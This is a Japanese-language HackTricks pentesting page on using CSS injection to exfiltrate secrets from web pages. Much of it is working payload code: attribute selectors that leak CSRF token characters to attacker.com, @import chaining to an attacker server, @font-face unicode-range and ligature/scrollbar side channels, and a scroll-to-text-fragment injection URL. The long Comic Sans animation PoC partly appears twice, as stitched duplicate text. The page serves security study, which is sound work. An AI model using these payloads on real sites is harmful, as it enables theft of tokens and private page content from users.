hacktricks/pentesting-web/xs-search/css-injection
2023-09-03 01:45:18 +00:00
..
css-injection-code.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:45:18 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/h2-java-sql-data 2023-08-15 01:41:51 +00:00

CSSインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

CSSインジェクション

属性セレクタ

CSSインジェクションによる情報の外部流出の主な技術は、CSSでテキストを一致させテキストが存在する場合には外部リソースを読み込むことです。例えば、以下のようなものです:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

ただし、このテクニックは、例えばcsrf名の入力hiddenタイプである場合(通常はそうです)、背景が読み込まれないため機能しません。
ただし、この障害をバイパスすることができます。隠し要素に背景を読み込ませる代わりに、それに続く任意の要素に背景を読み込ませるのです。

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

このコード例を悪用する方法: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

必要条件

  1. CSSインジェクションは十分に長いペイロードを許可する必要があります
  2. 新しく生成されたペイロードのCSS再評価をトリガーするためにページをフレーム化する能力
  3. 外部ホストされた画像を使用する能力CSPによってブロックされる可能性があります

@import

前のテクニックにはいくつかの欠点があります。必要条件を確認してください。被害者に複数のリンクを送信できる必要があるか、またはCSSインジェクションの脆弱なページをiframe化できる必要があります

ただし、もう1つの巧妙なテクニックがあります。これは**CSSの@import**を使用してテクニックの品質を向上させるものです。

これは最初にPepe Vilaによって示され、次のように機能します。

前の方法とは異なり、毎回異なるペイロードを数十回も読み込むのではなく、ページを1回だけ読み込み、攻撃者のサーバーにインポートするだけです(これが被害者に送信するペイロードです):

@import url('//attacker.com:5001/start?');
  1. 攻撃者からはCSSスクリプトが受け取られ、ブラウザがそれを読み込みます
  2. 攻撃者が送信するCSSスクリプトの最初の部分は、**再び攻撃者のサーバーに対する@import**です。
  3. まだ攻撃者のサーバーはこのリクエストに応答しません。なぜなら、いくつかの文字を漏洩させ、次のインポートを漏洩させるためにこのインポートに応答するためです。
  4. ペイロードの2番目であり、より大きな部分は属性セレクタの漏洩ペイロードになります。
  5. これにより、攻撃者のサーバーには秘密の最初の文字と最後の文字が送信されます。
  6. 攻撃者のサーバーが秘密の最初と最後の文字を受け取ったら、ステップ2で要求されたインポートに応答します
  7. 応答はステップ2、3、4とまったく同じになりますが、今回は秘密の2番目の文字を見つけ、そして最後から2番目の文字を見つけようとします

攻撃者は秘密を完全に漏洩させるまでこのループを繰り返します。

元のPepe Vilaのこのコードを悪用するためのコードはこちらで見つけることができます。または、ほぼ同じコードをこちらでコメント付きで見つけることができます

{% hint style="info" %} このスクリプトは、属性セレクタを使用して次のようなことができるため、毎回2つの文字を発見しようとします。

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

これにより、スクリプトは秘密をより速く漏洩させることができます。 {% endhint %}

{% hint style="warning" %} スクリプトが発見した接頭辞+接尾辞が既に完全なフラグであることを正しく検出できない場合があり、それにより接頭辞(前方)と接尾辞(後方)で進み続け、ある時点で停止することがあります。
心配しないでください、出力を確認するだけで、フラグが表示されます。 {% endhint %}

他のセレクタ

CSSセレクタを使用してDOMの一部にアクセスする他の方法

  • .class-to-search:nth-child(2): これはDOM内のクラス「class-to-search」の2番目のアイテムを検索します。
  • :empty セレクタ:この解説で使用される例:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

参考文献:CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

基本的なアイデアは、私たちが制御するエンドポイントからのカスタムフォントを使用して、リソースを読み込めない場合にのみ表示されるテキストを作成することです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>

スクロール-テキストフラグメントのスタイリング

URLフラグメントが要素をターゲットにする場合、:target疑似クラスを使用して選択することができますが、::target-textは何も一致しません。これは、フラグメントによってターゲットにされたテキストのみに一致します。

したがって、攻撃者はスクロール-テキストフラグメントを使用し、そのテキストで何かが見つかった場合、攻撃者のサーバーからリソースHTMLインジェクションを介してをロードすることができます。

:target::before { content : url(target.png) }

この攻撃の例は次のようなものです:

{% code overflow="wrap" %}

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

{% endcode %}

これは、コードを送信するHTMLインジェクションを悪用するものです:

{% code overflow="wrap" %}

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

{% endcode %}

スクロールテキストフラグメント:#:~:text=Administrator を使用して、Administratorという単語が見つかった場合、指定されたリソースが読み込まれます。

以下の3つの主な緩和策があります

  1. STTFは、理論的にはランダムな秘密やトークンを漏洩させることが不可能になるように、ウェブページ上の単語や文にのみ一致することができます秘密を1文字の段落に分解しない限り
  2. これはトップレベルのブラウジングコンテキストに制限されているため、iframeでは機能せず、攻撃は被害者に対して可視化されます。
  3. STTFが機能するには、ユーザーアクティベーションジェスチャーが必要です。したがって、ユーザーアクションの結果としてのみ利用可能なナビゲーションが攻撃対象となり、ユーザーの介入なしで攻撃を自動化する可能性が大幅に低下します。ただし、上記のブログ記事の著者が発見した攻撃の自動化を容易にする条件がいくつかあります。PoC3では、別の類似のケースが紹介されます。
  4. ソーシャルエンジニアリングや一般的なブラウザ拡張機能の強制など、これを回避する方法もあります。

詳細については、元のレポートを参照してください:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

CTFでこの技術を使用したエクスプロイトの例はこちらをご覧ください。

@font-face / unicode-range

ページに特定のUnicode値が存在する場合にのみ収集される、特定のUnicode値に対する外部フォントを指定することができます。例えば:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

このページにアクセスすると、ChromeとFirefoxは「?A」と「?B」を取得します。なぜなら、機密情報のテキストードには「A」と「B」の文字が含まれているからです。しかし、「?C」は「C」を含んでいないため、ChromeとFirefoxは取得しません。これは、「A」と「B」を読み取ることができたことを意味します。

テキストードの漏洩Iリガチャ

参考文献: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

フォントリガチャ幅の変化の検出を組み合わせた技術を使用して、ノードに含まれるテキストを抽出することができます。この技術の主なアイデアは、高いサイズを持つ事前定義されたリガチャを含むフォントの作成と、サイズの変化をオラクルとして使用することです。

フォントはSVGフォントとして作成し、その後fontforgeを使用してwoffに変換することができます。SVGでは、horiz-adv-x属性を使用してグリフの幅を定義できるため、<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>のようなものを構築できます。ここで、XYは2つの文字のシーケンスです。シーケンスが存在する場合、それがレンダリングされ、テキストのサイズが変わります。しかし...これらの変化をどのように検出できるのでしょうか?

属性white-spaceがnowrapとして定義されている場合、テキストは親要素の幅を超えても改行されません。この状況では、水平スクロールバーが表示されます。そして、このスクロールバーのスタイルを定義することができるため、これが発生したときに漏洩することができます :)

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }

この攻撃の手順は以下の通りです:

  1. 幅の広い2文字の組み合わせのためのフォントを作成します。
  2. スクロールバーのトリックを使用してリークを検出します。
  3. リークした最初のリガチャをベースに、前後の文字を追加して3文字の新しい組み合わせを作成します。
  4. 3文字のリガチャ検出します。
  5. テキスト全体をリークするまで繰り返します。

まだ改善された方法が必要ですが、<meta refresh=...は最適ではありません。CSS @importトリックを使用してエクスプロイトを最適化することができます。

テキストードのエクスフィルトレーションIIデフォルトフォントを使用して文字セットをリークする外部アセットは不要

参考: Comic Sansを使用したPoC by @Cgvwzq & @Terjanq

このトリックは、このSlackersスレッドで公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォントを使用してリークすることができます。外部のカスタムフォントは必要ありません。

キーは、アニメーションを使用してdivの幅を0からテキストの末尾まで拡大し、毎回1文字分のサイズで増やすことです。これにより、テキストを2つの部分に「分割」できます「接頭辞」最初の行と「接尾辞」。したがって、divの幅が増加するたびに、新しい文字が「接尾辞」から「接頭辞」に移動します。以下のような形です

C
ADB

CA
DB

CAD
B

CADB

新しい文字が最初の行に移動すると、unicode-rangeトリックを使用して接頭辞で新しい文字を検出します。この検出は、フォントをComic Sansに変更することで行われます。Comic Sansの高さが大きいため、垂直スクロールバーがトリガーされ、文字の値がリークします。これにより、異なる文字を一度ずつリークすることができます。文字が繰り返されているかどうかは検出できますが、どの文字が繰り返されているかは検出できません

{% hint style="info" %} 基本的に、unicode-rangeを使用して文字を検出しますが、外部のフォントを読み込みたくないため、別の方法を見つける必要があります。
文字見つかると事前にインストールされたComic Sansフォントが与えられ、文字が大きくなりスクロールバーがトリガーされ、見つかった文字がリークされます。 {% endhint %}

PoCから抽出されたコードを確認してください

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
```css
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* 文字の幅を文字ごとに増やす、つまりプレフィックスに新しい文字を追加する */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* サイドチャネル */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

テキストードの漏洩IIIデフォルトフォントを使用して要素を非表示にし、文字セットを漏洩させる外部アセットは必要ありません

参考: これはこの解説記事で失敗した解決策として言及されています

このケースは前のものと非常に似ていますが、この場合、特定の文字を他の文字よりも大きくすることで、ボットに押されないボタンや読み込まれない画像などを隠すことが目的です。したがって、アクション(またはアクションの欠如)を測定して、テキスト内に特定の文字が存在するかどうかを知ることができます。

テキストードの漏洩IIIキャッシュタイミングによる文字セットの漏洩外部アセットは必要ありません

参考: これはこの解説記事で失敗した解決策として言及されています

この場合、同じオリジンから偽のフォントを読み込むことで、テキスト内に特定の文字が含まれているかどうかを漏洩させることができます。

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

もし一致があれば、フォントは/static/bootstrap.min.css?q=1からロードされます。正常にロードされないかもしれませんが、ブラウザはそれをキャッシュするはずであり、キャッシュがない場合でも、304 not modifiedのメカニズムがあるため、他のものよりも応答が速くなるはずです。

ただし、キャッシュされたレスポンスと非キャッシュされたレスポンスの時間差が十分に大きくない場合、これは役に立ちません。例えば、著者は次のように述べていますしかし、テストの結果、最初の問題は速度の差がほとんどないことであり、2番目の問題はボットがdisk-cache-size=1フラグを使用していることですが、これは本当に考慮されています。

テキストードの漏洩III数百のローカル「フォント」をタイミングロードして文字セットを漏洩させる外部アセットは必要ありません

参考: これはこの解説記事で成功しなかった解決策として言及されています

この場合、一致が発生した場合にCSSが同じオリジンから数百の偽のフォントをロードするように指定することができます。これにより、時間を計測し、文字が表示されるかどうかを確認することができます。

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そして、ボットのコードは以下のようになります:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥